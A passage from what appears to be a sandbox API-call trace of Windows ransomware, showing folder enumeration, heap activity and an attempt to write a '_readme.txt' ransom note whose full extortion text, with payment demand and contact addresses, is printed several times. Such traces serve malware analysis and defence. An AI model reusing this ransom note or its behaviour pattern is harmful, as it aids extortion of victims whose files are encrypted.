| out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c68 [0111.385] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e98 [0111.385] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0111.385] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36028 [0111.386] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36000 [0111.386] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x310) returned 0x7b14b28 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35fd8 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35fb0 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f88 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f60 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d08 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d58 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e70 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f0d8 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f100 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f128 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f150 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f178 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f1a0 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f1c8 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f1f0 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f218 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f240 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f268 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f290 [0111.386] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.386] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36028 [0111.387] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e98 [0111.387] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c68 [0111.387] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.387] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0111.387] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.387] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.387] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.387] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.387] PathFindFileNameW (pszPath="") returned="" [0111.387] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.387] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.388] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.388] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.388] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.388] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.388] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f38 [0111.388] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14108 | out: hHeap=0x5010000) returned 1 [0111.388] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360f0 [0111.388] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35cb8 | out: hHeap=0x5010000) returned 1 [0111.388] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.388] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f38 | out: hHeap=0x5010000) returned 1 [0111.388] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.388] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360f0 | out: hHeap=0x5010000) returned 1 [0111.388] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360f0 [0111.388] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x81c) returned 0x7ac3918 [0111.388] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0111.388] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.388] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360f0 | out: hHeap=0x5010000) returned 1 [0111.388] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0111.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b14e40 [0111.389] lstrcpyW (in: lpString1=0x7b14e40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.389] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.389] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.389] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.389] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14e40 | out: hHeap=0x5010000) returned 1 [0111.389] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360f0 [0111.389] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0111.389] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360f0 | out: hHeap=0x5010000) returned 1 [0111.389] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.389] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.389] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1afa0 [0111.389] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.389] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.389] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.389] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.390] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.390] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.390] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.391] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.391] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, 